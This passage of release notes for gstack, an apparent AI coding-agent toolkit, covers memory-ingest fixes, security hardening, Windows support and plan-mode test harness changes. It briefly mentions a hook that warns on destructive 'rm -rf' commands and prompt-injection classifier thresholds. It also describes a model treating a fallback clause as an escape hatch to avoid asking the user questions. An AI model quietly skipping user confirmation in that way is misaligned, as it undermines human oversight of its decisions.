The signal handler now propagates `SIGTERM` and `SIGINT` to the gbrain child and synchronously cleans up the staging directory before `process.exit`, fixing the orphan-process bug that left gbrain holding the PGLite write lock and burning CPU for hours after the orchestrator gave up. State file writes use `tmp+rename` for atomicity so a crash mid-write can't truncate the ingest state. The full-file `sha256` change detection (was capped at 1MB) catches tail edits to long partial transcripts that the old algorithm silently missed.

### The numbers that matter

Source: live run on `~/.gstack/projects/` corpus (5,135 transcripts + artifacts), `bin/gstack-memory-ingest.ts --bulk` on a fresh PGLite at gbrain v0.31.2.

| Metric | Before (v1.31.x) | After (v1.33) | Δ |
|---|---|---|---|
| Cold run completes | no, 35-min loop + null exit | yes | works |
| Prepare phase time (5,135 files) | ~10-12 min | <10 sec | ~60x |
| Per-file gitleaks scans | 1,841 mandatory | 0 by default, opt-in via `--scan-secrets` | gated |
| State file flushed on SIGTERM | no, loss-on-kill | yes, sync cleanup before exit | fixed |
| Orphan gbrain child after timeout | yes, observed 15hr CPU drain | no, signal forwarded | fixed |
| FILE_TOO_LARGE blocks all advancement | yes | no, failed paths excluded via D7 | fixed |
| Tests in `test/gstack-memory-ingest.test.ts` | 17 | 21 | +4 |

| Decision | What landed |
|---|---|
| D1 hierarchical staging | `writeStaged` does `mkdir -p` per slug segment |
| D2 cut over | `gbrainPutPage` deleted, no `--legacy-ingest` flag |
| D3 source-first secret scan | Scan opt-in via `--scan-secrets`, default off |
| D4 OK/ERR verdict | Per-file failures show in summary but only system errors mark ERR |
| D5 unified state schema | No separate skip-list file |
| D6 trust idempotency | gbrain's content_hash dedup makes reruns cheap |
| D7 sync-failures byte-offset | `readNewFailures` reads only appended bytes since pre-import snapshot |
| F6 atomic state writes | `tmp+rename` instead of direct overwrite |
| F9 full-file sha256 | Removes 1MB cap that silently swallowed tail edits |

Prepare phase dropped from ~10 minutes to <10 seconds because the dominant cost was `gitleaks detect` cold start (~256ms per file, 5,135 files = 22 minutes of subprocess startup). The cross-machine secret boundary is `git push`, and `gstack-brain-sync` already runs its own regex scanner there. Local PGLite ingest of files that already live on disk in plaintext doesn't change exposure. The opt-in flag survives for users who want per-file ingest scanning, but it's no longer the default tax on every cold run.

### What this means for builders

If you've been hitting the 35-minute hang on `/sync-gbrain`, it's gone. The architecture is correct on this side now. A separate `gbrain import` performance issue surfaced during testing where the gbrain CLI itself takes >10 minutes on 5,131-file staging dirs (10 seconds on 501 files), which is filed as a P2 TODO for gbrain proper. That's the next bottleneck to chase, but it lives in gbrain's import path, not in the gstack orchestrator. Run `/sync-gbrain` after upgrading. If you've been seeing the loop, this fixes it.

### Itemized changes

#### Added
- `bin/gstack-memory-ingest.ts:1093` — `preparePages` pure function: walk sources, mtime-skip via state, optional gitleaks scan (`--scan-secrets`), parse transcripts and artifacts, render frontmatter with `title`/`type`/`tags` injected.
- `bin/gstack-memory-ingest.ts:920` — `writeStaged` writes prepared markdown into a hierarchical staging directory mirroring slug structure. `mkdir -p` per slug segment. Slugs containing `/` (like `transcripts/claude-code/foo`) get the matching subdirectory tree so gbrain's path-authoritative `slugifyPath` round-trips exactly.
- `bin/gstack-memory-ingest.ts:961` — `parseImportJson` reads gbrain's `--json` last-line payload. Returns `null` (treated as `system_error` by caller) instead of zero-padded silently when the line doesn't parse.
- `bin/gstack-memory-ingest.ts:993` — `readNewFailures` snapshots `~/.gbrain/sync-failures.jsonl` byte offset before import, reads only appended bytes after, maps gbrain's staging-relative paths back to source paths via the `stagedPathToSource` map.
- `bin/gstack-memory-ingest.ts:1009` — `runGbrainImport` async wrapper around `child_process.spawn` so the signal forwarder has a child reference to kill on parent `SIGTERM`/`SIGINT`. Pre-2026-05-11 `spawnSync` made signal forwarding impossible and gbrain orphaned every time the orchestrator timed out.
- `bin/gstack-memory-ingest.ts:1218` — `installSignalForwarder` registers `SIGTERM`/`SIGINT` handlers that forward to the live child, synchronously clean up the active staging directory, then exit. Async `finally` blocks don't run after `process.exit` from inside a signal handler, so cleanup has to happen in the handler itself.
- `bin/gstack-memory-ingest.ts:194` — `--scan-secrets` CLI flag and `GSTACK_MEMORY_INGEST_SCAN_SECRETS=1` env var to opt back into per-file gitleaks scanning during the prepare phase. Off by default.
- `test/gstack-memory-ingest.test.ts:457` — 5 new tests covering hierarchical staging slug round-trip, frontmatter injection, D7 sync-failures exclusion, missing-`import`-subcommand error path, and `--scan-secrets` dirty-source skipping with a fake gitleaks shim.
- `docs/designs/SYNC_GBRAIN_BATCH_INGEST.md` — full design doc with D1-D8 decisions, source-verified gbrain behaviors, performance measurements, F9 hash migration notes.

#### Changed
- `bin/gstack-memory-ingest.ts:288` — `saveState` now uses `tmp+rename` for atomicity (F6) so a crash mid-write can't truncate the state file. Matches the orchestrator's existing pattern at `gstack-gbrain-sync.ts:508`.
- `bin/gstack-memory-ingest.ts:307` — `fileSha256` hashes the full file (F9). Pre-2026-05-11 it stopped at 1MB, so tail edits to long partial transcripts looked unchanged and never re-imported. One-time cliff on upgrade: files whose mtime hasn't moved keep their old 1MB-capped hash, files whose mtime moves get recomputed correctly. No data loss.
- `bin/gstack-memory-ingest.ts:798` — `gbrainAvailable` probes for the `import` subcommand in `--help` output (was: `put` subcommand). Without `import`, the memory stage exits non-zero with a `system_error` instead of silently degrading.
- `bin/gstack-gbrain-sync.ts:442` — memory-stage parser preferentially picks `[memory-ingest] ERR` lines over the latest `[memory-ingest]` line for the summary, strips the prefix, and surfaces `(killed by signal / timeout)` when the child exits with `status=null`.

#### Fixed
- Per-file gitleaks scan was running on every transcript and artifact during memory ingest as redundant defense-in-depth. The cross-machine secret boundary is `gstack-brain-sync` (git push), which already runs a Python regex scanner. Local PGLite ingest doesn't change exposure surface for content that already lives on disk in plaintext.
- Signal handlers now kill the gbrain child and clean up the staging directory before exit. Pre-fix, every orchestrator timeout left a gbrain process holding the PGLite write lock and burning CPU until the user noticed and `kill -9`'d it manually (observed: a 15-hour-CPU-time orphan from yesterday's run was still alive today).
- `parseImportJson` no longer silently returns `{imported: 0, errors: 0}` when gbrain's `--json` output doesn't parse. Returns `null`, caller surfaces as `system_error` so the orchestrator's verdict block shows ERR instead of misleading OK/0/0.
- `bin/gstack-memory-ingest.ts` `require("fs")` calls replaced with top-level ESM `import`s for runtime portability.

#### For contributors
- Plan file at `/Users/garrytan/.claude/plans/purrfect-tumbling-quiche.md` captures the full review chain: `/investigate` → `/plan-eng-review` (5 architecture decisions D1-D5) → `/codex review` outside-voice plan challenge (9 findings, 3 reshaped the architecture into D6-D8). Plan also records the post-Codex user perf review that flipped D3 to opt-in.
- `TODOS.md` filed P2: investigate `gbrain import` perf on large staging dirs (5,131 files takes >10 minutes when 501 takes 10 seconds — gbrain-side N+1 SQL or auto-link reconciliation suspected). P3: cache "no changes since last import" at the prepare-batch level for true no-op fast paths.
- `Plan completion audit` ran via subagent on this branch: 17/21 DONE, 1 CHANGED (D3 made opt-in), 2 deferred (F8 benchmark harness as separate work, 24-path unit coverage went integration-only).

## [1.32.0.0] - 2026-05-10

## **Seven contributor PRs land. Three are security or hardening.**
## **Root-token comparison, IPv6 link-local, NUL transcripts, sidebar tabs, build resilience, model IDs, CJK escape — all fixed in one wave.**

Seven community PRs land together, hand-picked through `/plan-eng-review` plus a Codex outside-voice review that reshaped the wave mid-flight. The headline fixes are real: the root-token authentication path no longer throws on a multibyte input that matches JS character length but not UTF-8 byte length, direct `http://[fe80::N]/` URLs are now rejected the same way ULA addresses already were, `gbrain put` strips NUL bytes from pasted transcript content so Postgres doesn't reject the write, and the build script doesn't tear down when run on a fresh worktree with no git HEAD yet.

Two PRs in the original 9-PR plan got moved to follow-up reviews after Codex caught load-bearing problems: the SVG-XSS fix (#1153) needs a sanitizer integration rebuild, and the hook-command variable swap (#1141) needs runtime verification in plugin + dev-symlink modes. Both will land as their own PRs.

### The numbers that matter

Diff against `main` at v1.31.1.0, measured from the seven landed PRs after eng + Codex review reshaping. The wave is intentionally repo-local — no new dependencies, no risky integration changes.

| Metric | v1.31.1.0 | v1.32.0.0 | Δ |
|---|---|---|---|
| Community PRs landed | 3 | 7 | **+4** |
| Security / hardening fixes | 0 | 3 | **+3** |
| Behavior changes that ship to users | 1 | 7 | **+6** |
| Free tests | 379 | 380 | +1 |
| Memory-ingest tests | 18 | 19 | +1 |
| LOC (excluding mechanical regen) | — | ~150 | — |
| SKILL.md files regenerated (CJK preamble cascade) | — | 35 | — |
| Preamble byte budget | 36,500 | 39,000 | +2,500 |

The seven shipped PRs cover three categories. **Security:** root-token UTF-8 compare hardened, IPv6 link-local blocked, sidebar tab awareness expanded. **Correctness:** gbrain ingestion tolerates pasted-NUL transcripts, build resilient to unborn HEAD. **Polish:** AskUserQuestion preamble forbids `\uXXXX` escaping of CJK characters, eval suite tracks the current Opus model ID.

### What this means for users

If you run `pair-agent` and someone hits your tunnel with a multibyte token guess that happens to match length, the auth path returns false instead of crashing. If a transcript you ingest into `gbrain` has a NUL byte in pasted output, the write succeeds instead of returning `invalid byte sequence`. If you bring up `bun run build` on a brand-new Conductor worktree before the first commit, the build runs to completion. If your sidebar agent watches a tab on a non-localhost site, it now actually sees the URL and title. If you ask Claude a long question in Chinese, you stop getting `\u`-escaped codepoints rendered as nonsense glyphs.

### Itemized changes

#### Added

- **#1257** Extension manifest gets the `tabs` permission. Sidebar tab awareness off-localhost now works — `chrome.tabs.query()` returns real `url`/`title` for sites outside `host_permissions` instead of undefined, so `snapshotTabs` writes real values into `tabs.json` and `active-tab.json` instead of silently skipping. Heads up: this widens the extension's permission scope; users will see the broader prompt on next install. Contributed by @fredchu.

#### Fixed

- **#1416** `isRootToken` constant-time compare hardened. Compares UTF-8 byte lengths via `Buffer.byteLength` before `crypto.timingSafeEqual`, which throws on length-mismatched buffers. A multibyte input whose JS string length matches but byte length differs now returns false instead of crashing on the auth path. Four regression tests cover multibyte byte-length mismatch, extra-prefix length mismatch, same-length last-byte flip, and empty-input-against-set-root. Contributed by @RagavRida.
- **#1411** `gstack-memory-ingest` strips NUL bytes from the transcript body before piping to `gbrain put`. Postgres rejects 0x00 in UTF-8 text columns, and some Claude Code transcripts contain NUL inside pasted content or tool output. The fix uses `body.replace(/\x00/g, "")` so the regex literal stays reviewable in diffs and survives editors that strip control bytes. New regression test reuses the existing fake-gbrain writer harness at `test/gstack-memory-ingest.test.ts:376`. Contributed by @billy-armstrong.
- **#1249** URL validation now blocks direct IPv6 link-local navigation. `fe80::/10` is centralised into `BLOCKED_IPV6_PREFIXES = ['fc', 'fd', 'fe8', 'fe9', 'fea', 'feb']` so `http://[fe80::N]/` is rejected by the same path that already blocked ULA addresses. Previously the link-local guard only fired during AAAA resolution; direct-literal URLs slipped through. Contributed by @hiSandog.
- **#1207** `bun run build` resilient to missing git HEAD. The three chained `.version` writes (`browse/dist`, `design/dist`, `make-pdf/dist`) each now use `{ git rev-parse HEAD 2>/dev/null || true; } > ...`, so an unborn HEAD produces an empty file. `readVersionHash` already returns null on empty/trim, and the CLI's stale-binary check short-circuits on null — the "no version known" path flows through existing null handling without polluting `state.binaryVersion` with a sentinel string. Contributed by @topitopongsala.
- **#1205** AskUserQuestion preamble forbids `\uXXXX` escaping of non-ASCII characters. Adds rule 12 plus a self-check item: models that hand-escape CJK strings get codepoints wrong, so `管理工具` ends up rendered as `㄃3用箱`. Long ≠ escape. Keep characters literal. The new rule cascades through the gen-skill-docs pipeline; 35 SKILL.md files regenerate to pick it up. Contributed by @joe51317-dotcom.
- **#1392** Mechanical bump of remaining `claude-opus-4-6` → `4-7` references across the E2E eval suite. Covers `test/helpers/eval-store.ts` and five `test/skill-e2e-*.test.ts` files. Contributed by @johnnysoftware7.

#### For contributors

- The AskUserQuestion preamble byte budget ratchets from 36,500 → 39,000 to absorb the new CJK rule (rule 12 + self-check item). Generated SKILL.md files for all 35 tier-≥2 skills regenerate as a single mechanical commit.
- Two PRs from the original 9-PR plan moved to follow-up reviews after Codex outside-voice caught load-bearing problems: #1153 (SVG sanitizer) needs the sanitizer integration rebuilt against the current `setTabContent` boundary in `browse/src/write-commands.ts:319` (the original PR removed `.svg` from the allowlist; the right fix is to keep it allowed and sanitize via DOMPurify before `setTabContent`). #1141 (CLAUDE_PLUGIN_ROOT) needs runtime verification in both plugin-installed and dev-symlink modes plus scope expansion to the non-frontmatter shell snippet at `investigate/SKILL.md.tmpl:107`.
- Five gate-tier evals hardened against non-determinism / TTY rendering quirks after the wave's first `test:gate` run surfaced them as flakes (verified pre-existing on `main`, then fixed): `office-hours-builder-wildness` retiers `gate` → `periodic` because LLM-judge creativity scoring belongs in periodic per the tier-classification rules. `plan-design-with-ui` AUQ-detection tail expands 2.5KB → 5KB so the full Step 0 box-rendered AUQ fits inside the regex window. `ask-user-question-format-compliance` budget stretches 300s → 540s (poll), 360s → 600s (PTY session), 420s → 660s (bun wrapper) to accommodate `/plan-ceo-review`'s multi-bash-block preamble on substantive branches. `benchmark-providers` gemini smoke drops the brittle `toContain('ok')` assertion in favor of a shape check on the adapter result. `skillify` scrape-prototype-path accepts JSON shape variants (`results`, `data`, `hits`, bare arrays of `{title, score}` objects) instead of grepping for the literal `"items":[` key.
- Housekeeping: the three source PRs absorbed into v1.31.1.0 (#1242, #1394, #1393) get closed with credit comments pointing at the merge SHA.

## [1.31.1.0] - 2026-05-10

## **Three small community fixes land cleanly.**
## **`/careful` works on macOS again, Codex Step 0 stops colliding, `/make-pdf` setup runs in the right place.**

A short patch wave from three contributors. macOS users who ran `/careful` with `rm -rf node_modules` were silently hitting the warning gate instead of the safe exception path because BSD sed doesn't understand `\s`. The Codex skill's `## Step 0: Check codex binary` header was colliding with the platform-detect prelude that also runs first. `/make-pdf`'s SETUP block was rendered after the Telemetry footer instead of immediately after the Preamble Bash, so `$P` could be referenced before it was set. Each fix is tightly scoped and ships with a regression test (or template ordering invariant) that catches the original failure shape.

This release came out of a contributor-wave triage pass that closed ~75 stale PRs, dropped 11 candidates that needed focused review with specific feedback to each contributor, and lined the survivors through `/plan-eng-review` + Codex outside-voice review before merge. One additional security PR (token-registry timing-safe comparison) was rejected at the codex-review gate after Codex caught a subtle multi-byte UTF-8 buffer-mismatch bug that would have thrown on the auth path instead of returning false; that finding now lives as feedback on the original PR.

### Fixed

- **#1242** `careful/bin/check-careful.sh` uses `[[:space:]]` instead of `\s` in the safe-rm exception regex. macOS sed -E does not support `\s`, which silently broke the exception detection — `rm -rf node_modules` now correctly skips the warning gate on macOS, matching Linux behavior. Removes the `detectSafeRmWorks()` platform-conditional from `test/hook-scripts.test.ts` so both platforms are tested at the same bar. Contributed by @ToraDady.
- **#1394** Codex skill `## Step 0: Check codex binary` renamed to `## Step 0.4: Check codex binary` so the header no longer collides with the new platform-detect prelude (also numbered Step 0). Affects both `codex/SKILL.md.tmpl` and the regenerated `codex/SKILL.md`. Contributed by @mvanhorn.
- **#1393** `/make-pdf` MAKE-PDF SETUP block moves from after the Telemetry footer to right after the Preamble Bash, so `$P` is set before any subsequent step references it. The implementation switches from the `{{MAKE_PDF_SETUP}}` placeholder pattern to programmatic insertion via `generateMakePdfSetup` in `scripts/resolvers/preamble.ts`, gated on `ctx.skillName === 'make-pdf'`. New `make-pdf setup ordering` test in `test/gen-skill-docs.test.ts` asserts the SETUP block sits after the Preamble heading and before Plan Mode / Telemetry / workflow headings. Contributed by @jbetala7.

## [1.31.0.0] - 2026-05-09

## **AskUserQuestion stops getting silently buried in plan files.**
## **The forever-war contradiction in the preamble is deleted, the test harness sees prose-rendered questions, and 5 fictional test variants are gone.**

After v1.31, `/plan-eng-review`, `/office-hours`, and the rest of the
plan-* skills surface every decision through AskUserQuestion. The
"fallback when neither variant is callable" clause that quietly
authorized a `## Decisions to confirm` plan-write + ExitPlanMode is
deleted, along with the "trivial fix" exception that survived the
prior tightening and the "outside plan mode, output as prose and stop"
escape hatch. Skill-text loses ~10 lines net across 8 inline sites
plus the 6 places the same fallback was repeated verbatim inside
`plan-eng-review/SKILL.md.tmpl`.

Five test variants that simulated a Conductor configuration nobody
actually runs (`--disallowedTools AskUserQuestion` without a registered
MCP variant, i.e. "neither AUQ tool callable") are deleted. They
tested a state that doesn't exist in production: real Conductor
sessions register `mcp__conductor__AskUserQuestion`, so the model
always has the MCP variant. The deleted variants were a long-running
flake source.

The harness gained three new primitives that survive the test cull:
`isProseAUQVisible` regex detector for lettered (A/B/C/D) and numbered
(1/2/3) prose AUQ rendering, an LLM judge using `claude-haiku-4-5`
that classifies TTY snapshots as `waiting` / `working` / `hung`, and
high-water-mark tracking on `PlanSkillObservation` so tests that
check "did the user see a question at SOME point" don't have to scan
the truncated 2KB evidence window.

### The numbers that matter

| Surface | Before | After | Δ |
|---|---|---|---|
| Fallback clause inline sites in skill-text | 8 | 0 | -8 |
| Surviving "trivial fix" / "prose-and-stop" escape hatches | 2 | 0 | -2 |
| Plan-mode test variants under fictional `--disallowedTools` | 5 | 0 | -5 |
| LLM judge classifications | 0 | 4 (waiting/working/hung/unknown) | +4 |
| Diff size on this branch (after merge with main) | — | -721 / +928 | net +207 |

The deleted "fallback" clause was the load-bearing instruction the
model was rationalizing as a general escape hatch from "fanning out
round-trip AUQs." Once it's gone, the anti-shortcut clause and STOP
gates in `plan-eng-review` Sections 1-4 stand without a contradicting
instruction to lose to. `gate-tier plan-eng-finding-floor` passes on
every run since the architectural fix landed.

### What this means for builders

If you are running `/plan-eng-review` or any other plan-* skill, you
will see one AskUserQuestion per finding instead of four findings
quietly batched into a "## Decisions to confirm" plan-file write that
gets buried under ExitPlanMode. The harness improvements (prose-AUQ
detector, LLM judge, snapshot logs at `~/.gstack/analytics/pty-judge.jsonl`
and `~/.gstack/analytics/pty-snapshots/` when `GSTACK_PTY_LOG=1`) are
load-bearing for any future plan-mode regression test that needs to
distinguish "model is thinking" from "model is waiting for me."

### Itemized changes

#### Architectural fix
- Deleted `## Decisions to confirm` fallback clause from
  `scripts/resolvers/preamble/generate-ask-user-format.ts:12` (both
  branches: plan-file write AND prose-and-stop)
- Deleted same fallback clause from
  `scripts/resolvers/preamble/generate-completion-status.ts:29`
- Deleted fallback inline sentences from
  `plan-eng-review/SKILL.md.tmpl` (Step 0 + Sections 1-4: 5 instances)
  and `office-hours/SKILL.md.tmpl` (1 instance)
- Deleted "Only skip AskUserQuestion when the decision is genuinely
  trivial" exception from `plan-eng-review/SKILL.md.tmpl:204`
- Replaced with single hard rule: "If no AskUserQuestion variant
  appears in your tool list, this skill is BLOCKED. Stop, report
  `BLOCKED — AskUserQuestion unavailable`, and wait for the user."
- Regenerated all 47 generated SKILL.md files (default + 7 host adapters)

#### Test harness primitives
- Added `isProseAUQVisible` regex detector with line-start anchoring
  and tail-only native-cursor gate
  (`test/helpers/claude-pty-runner.ts`); 8 unit tests cover lettered
  and numbered formats, threshold edges, native-cursor exclusion, and
  mid-prose false-positive guard
- Added `judgePtyState` LLM judge using `claude -p --model
  claude-haiku-4-5 --max-turns 1` with subscription auth (no API key
  env required), in-process cache by SHA-1 of normalized last-4KB
  snapshot, JSONL log to `~/.gstack/analytics/pty-judge.jsonl`
- Added high-water-mark flags `proseAUQEverObserved` and
  `waitingEverObserved` to `PlanSkillObservation`; tests check these
  rather than re-running detectors against the truncated evidence
  window
- Added snapshot logging via `GSTACK_PTY_LOG=1`, dumping last 4KB of
  visible TTY at every judge tick to
  `~/.gstack/analytics/pty-snapshots/<test>-<elapsed>ms.txt`
- `assertReportAtBottomIfPlanWritten` now tolerates ENOENT (TTY-detected
  path that didn't persist) and `outcome='asked'` smoke runs (workflow
  exited at first AUQ, no review report yet)
- Wired LLM judge fallback into `runPlanSkillObservation` and
  `runPlanSkillFloorCheck` polling loops: after 60s of no terminal
  classification, snapshot every 30s and call the judge; on `waiting`
  verdict, return `outcome='asked'` early

#### Test surface changes
- Added `test/skill-e2e-plan-eng-multi-finding-batching.test.ts`
  (periodic tier) using `runPlanSkillCounting` with a 4-finding seeded
  fixture (`FORCING_BATCHING_ENG`) that mirrors the original transcript
  bug shape; asserts at least 3 distinct review-phase AUQs
- Deleted `test/skill-e2e-autoplan-auto-mode.test.ts` entirely
- Deleted test 2 (`--disallowedTools AskUserQuestion`) from
  `plan-ceo-plan-mode`, `plan-design-plan-mode`, `plan-eng-plan-mode`
  (kept test 1 baseline plus plan-eng-plan-mode test 3 STOP-gate)
- Removed `autoplan-auto-mode` entry from `test/helpers/touchfiles.ts`
  (E2E_TOUCHFILES and E2E_TIERS); updated `test/touchfiles.test.ts`
  assertion count

#### For contributors
- Three subagent investigations across the debugging cycle were the
  load-bearing diagnostic step: the architectural fix, the prose-AUQ
  detector design, and the test-fictional-state retraction. The
  pattern that worked: have a fresh-context subagent verify the
  parent's mental model against actual file contents before committing
  to a fix. Codex review caught that "three places" was actually
  eight, that the proposed multi-finding test would pass trivially
  given how `runPlanSkillFloorCheck` exits on first AUQ, and that
  three existing tests codified the deleted fallback as PASS.

## [1.30.0.0] - 2026-05-09

## **Twenty-one community fixes land in one wave, plus closing fixes that put the Windows + codex surfaces under CI for the first time.**

Browse stops silently dropping `browse-console.log` writes (a regression from a missing variable declaration), the cold-start race that ENOENT'd one of every fifteen parallel daemons gets a per-process tempfile, and concurrent iframe detach finally clears refs symmetrically with main-frame nav. `codex exec resume` works on machines that ship `python` without the `python3` alias, and stops passing the `-C` and `-s` flags that the resume subcommand rejects. Windows users get bash.exe wrap for telemetry spawn, `Bun.which` binary resolution that finds `.exe`/`.cmd`/`.bat` instead of bare paths, and NTFS ACL hardening on every file written to `~/.gstack/`. Two closing fixes land alongside: `windows-free-tests.yml` now exercises the icacls + Bun.which test files (closing the gap codex's outside-voice review flagged in the plan), and a live `codex exec resume --help` smoke catches CLI flag-semantics drift that the existing regex-only test would have missed.

### The numbers that matter

End-to-end verified via `bun test` (free tier, 452 tests pass) and gate-tier E2E:

| Surface | Before | After | Δ |
|---|---|---|---|
| Browse `console.log` persistence | swallowed every 1s flush due to `lastConsoleFlushed` ReferenceError | declared, persisted to disk | regression closed |
| Concurrent daemon cold-start | shared `state.tmp` raced rename, killed 1 in N spawns | per-process `tmpStatePath()` (pid + 4 random bytes) | no more ENOENT |
| Iframe detach handling | refs leaked when iframe auto-detached (asymmetric with main-frame nav) | refs cleared symmetrically | parity fix |
| `codex exec resume` flag set | `-C "$_REPO_ROOT" -s read-only` (rejected by the resume subcommand) | `-c 'sandbox_mode="read-only"'` + `cd "$_REPO_ROOT"` | works without warnings |
| Codex JSON parsing | hardcoded `python3`; broke on machines with only `python` | probes `python3` then `python`, errors clearly if neither | works on more machines |
| Windows browse / make-pdf binary resolution | bare-path probe missed `.exe`/`.cmd`/`.bat` | `Bun.which` + `GSTACK_*_BIN` override + extension probing | works on Windows installs |
| Windows state-file hardening | POSIX `0o600` mode bits no-op'd on NTFS | icacls inheritance break + grant-only ACL on every `~/.gstack/` write | actual hardening, not silent no-op |
| Windows telemetry spawn | `spawn(bash-script)` ENOENT'd silently on Windows (`CreateProcess` rejects shebangs) | bash.exe wrap with PATH / `GSTACK_BASH_BIN` override | telemetry events captured on Windows |
| Domain-skill auto-promote | promoted regardless of classifier_score | gated on `classifier_score > 0` | adversarially-flagged domains stay quarantined |
| Shell-injection surface in memory ingest | git cwd interpolated through `/bin/sh` | `execFileSync` with cwd as a parameter | one less injection path |
| Windows free-tests CI coverage | 3 test files (claude-bin, gstack-paths, test-shards) | 7 test files (+ icacls, security telemetry, browseClient, pdftotext) | 4 new surfaces under CI |
| Codex CLI flag-semantics test | regex-only on SKILL.md text | live `codex exec resume --help` smoke (skips when codex absent) | catches upstream flag drift |

PR count: 21 community merges + 4 in-house follow-up commits (#1302 template port, CL-1 Windows CI extension, CL-2 codex flag smoke, server.ts conflict-resolution fix). Contributors credited: 13 unique authors. Test count went from 452 → 459 (4 new tests from the merged PRs + 3 from CL-1/CL-2 invariants).

### What this means for builders

If you're on a Windows install, this is the release where `~/.gstack/` is actually access-restricted (icacls grants), browse and make-pdf find the right `.exe`, and bash-shebang telemetry stops dropping on the floor. Set `GSTACK_BROWSE_BIN` / `GSTACK_PDFTOTEXT_BIN` / `GSTACK_BASH_BIN` to override. If you use the `/codex` skill, resume sessions work on machines with only `python` and no `python3`, and the rejected `-C/-s` flags are gone. If you spawn multiple browse daemons in parallel (CI shards, cold-start races, multi-tab Conductor), the per-process tempfile fix means rename no longer steals the file out from under a sibling. Run `gbrain autopilot --install` once and forget about it.

### Itemized changes

#### Added

- **#1306** Windows bash.exe wrap for telemetry spawn (`browse/src/security.ts`). Honors `GSTACK_BASH_BIN` / `BASH_BIN` env override, falls back to `Bun.which('bash')` (finds Git Bash on standard Windows installs). Returns null when bash is unresolvable so caller skips the spawn cleanly. Contributed by @scarson.
- **#1307** `Bun.which`-based binary resolution for `make-pdf/src/browseClient.ts` and `make-pdf/src/pdftotext.ts`. Probes `.exe`/`.cmd`/`.bat` after a bare-path miss on Windows; honors `GSTACK_BROWSE_BIN` / `GSTACK_PDFTOTEXT_BIN` overrides. Extends the v1.24 pattern from `claude-bin.ts` to the other two binary resolvers. Contributed by @scarson.
- **#1308** NTFS ACL hardening for `~/.gstack/` state files (`browse/src/file-permissions.ts` is the new helper). `writeSecureFile` and `mkdirSecure` invoke `icacls /inheritance:r /grant:r <user>:(F)` on Windows; POSIX `chmod 0o600` continues working unchanged. First icacls failure per process is logged once with the advice line "sensitive files may be readable by other accounts on this machine"; later failures stay silent to avoid spam. Contributed by @scarson.
- **#1316** Python3-or-python probe in `codex/SKILL.md.tmpl`. Resolves `python3` then `python`, errors clearly if neither is on PATH. Contributed by @jbetala7.
- **#1339** Strict integer validation in `browse/src/browse-client.ts` env handling. Partial integers now throw rather than silently truncating. Contributed by @hiSandog.
- **#1369** `classifier_score > 0` gate on domain-skill auto-promote (`browse/src/domain-skills.ts:248-320`). Quarantined domains stay quarantined even if every other heuristic says promote. Contributed by @garagon.
- **CL-1** Windows free-tests CI lane now runs `browse/test/file-permissions.test.ts`, `browse/test/security.test.ts`, `make-pdf/test/browseClient.test.ts`, and `make-pdf/test/pdftotext.test.ts`. The four test files already platform-gate their assertions via `process.platform`, so the same files run on POSIX and Windows lanes and exercise only the relevant branch.
- **CL-2** Live codex CLI flag-semantics smoke (`test/codex-resume-flag-semantics.test.ts`). Probes `codex exec resume --help` for `-c`/`sandbox_mode` presence and top-level `-C` absence; skips when codex isn't on PATH so dev machines without codex installed never see it fail.

#### Changed

- **#1270** `codex exec resume` invocation in `codex/SKILL.md.tmpl` drops `-C "$_REPO_ROOT"` and `-s read-only` (the resume subcommand rejects both), uses `-c 'sandbox_mode="read-only"'` config and `cd "$_REPO_ROOT"` instead. Adds the regression test `codex/SKILL.md resume command only uses resume-supported flags`. Contributed by @jbetala7.
- **#1273** `design/prototype.ts` (the prototype script only — the main design CLI is unchanged) reads the OpenAI key only from `OPENAI_API_KEY`. Output filenames sanitized to `[a-zA-Z0-9_-]` only. The `~/.gstack/openai.json` file fallback is removed from the prototype script; `design/src/auth.ts` and `design/src/cli.ts` still support it for the main CLI flow. Contributed by @orbisai0security.
- **#1302** /ship Plan Completion gate (`ship/SKILL.md.tmpl` + `scripts/resolvers/review.ts`) adds Verification Mode classification (DIFF-VERIFIABLE / CROSS-REPO / EXTERNAL-STATE / CONTENT-SHAPE), the UNVERIFIABLE classification, per-item confirmation gate (no blanket-confirm AskUserQuestion), and explicit fail-closed behavior on subagent failure. Forbids the silent-fail-open path that produced the VAS-449 incident shape. Contributed by @vaskockorovski.
- **#1332** /ship step 12 fail-fast probe for the base branch in `ship/SKILL.md.tmpl`. Prevents step 12 from running against an unresolvable base. Contributed by @Jasperc2024.
- **#1337** `design/src/variants.ts` honors the `Retry-After` header on 429 responses. Prevents thundering-herd retries against rate-limited endpoints. Contributed by @stedfn.
- **#1362** `test/helpers/providers/gemini.ts` detects the new `~/.gemini/oauth_creds.json` auth path alongside the legacy location. Contributed by @abigail-atheryon.
- **#1366** `browse/src/browser-manager.ts` adds `--no-sandbox` only when running as root (Linux/WSL2), not unconditionally. Contributed by @furkankoykiran.
- **#1368** `bin/gstack-memory-ingest.ts` passes git cwd via `execFileSync` parameter rather than interpolating into a `/bin/sh` invocation. One less shell-injection class. Contributed by @garagon.

#### Fixed

- **#1309** Missing `let lastConsoleFlushed = 0;` declaration in `browse/src/server.ts`. Every 1-second `flushBuffers` tick was throwing a swallowed ReferenceError; `browse-console.log` was never written in any production deployment since this regressed. Contributed by @yashkot007.
- **#1310** Per-process `tmpStatePath()` for state-file writes in `browse/src/server.ts`. The shared `state.tmp` literal raced on rename when concurrent daemons spawned (15-parallel cold-start reproducer). pid + 4 random bytes of suffix gives each writer a unique path; atomic rename still gives last-writer-wins on the final state. Contributed by @yashkot007.
- **#1311** `getActiveFrameOrPage` in `browse/src/tab-session.ts` clears refs symmetrically when an iframe auto-detaches, matching the existing main-frame nav path. Contributed by @yashkot007.
- **#1297** Korean / CJK IME input rendering in the Sidebar Terminal (`extension/sidepanel-terminal.js`, `browse/src/terminal-agent.ts`, `extension/sidepanel.css`). Composition state preserved, character widths corrected. Contributed by @realcarsonterry.
- **#1333** Removed the contradictory plan-mode handshake from `plan-devex-review/SKILL.md.tmpl` (the skill was simultaneously claiming plan-mode is active and asking the user to confirm entering plan-mode). Contributed by @Jasperc2024.

#### Documentation

- **#1290** `CLAUDE.md` and `ARCHITECTURE.md` prompt-injection thresholds aligned to the actual values in `browse/src/security.ts` (BLOCK 0.85, WARN 0.60, LOG_ONLY 0.40 — the docs had drifted to older numbers). Contributed by @brycealan.
- **#1338** README per-skill symlink uninstall snippet corrected (the previous wording would `rm` the global skills directory rather than the project-local symlink). Contributed by @stedfn.

#### For contributors

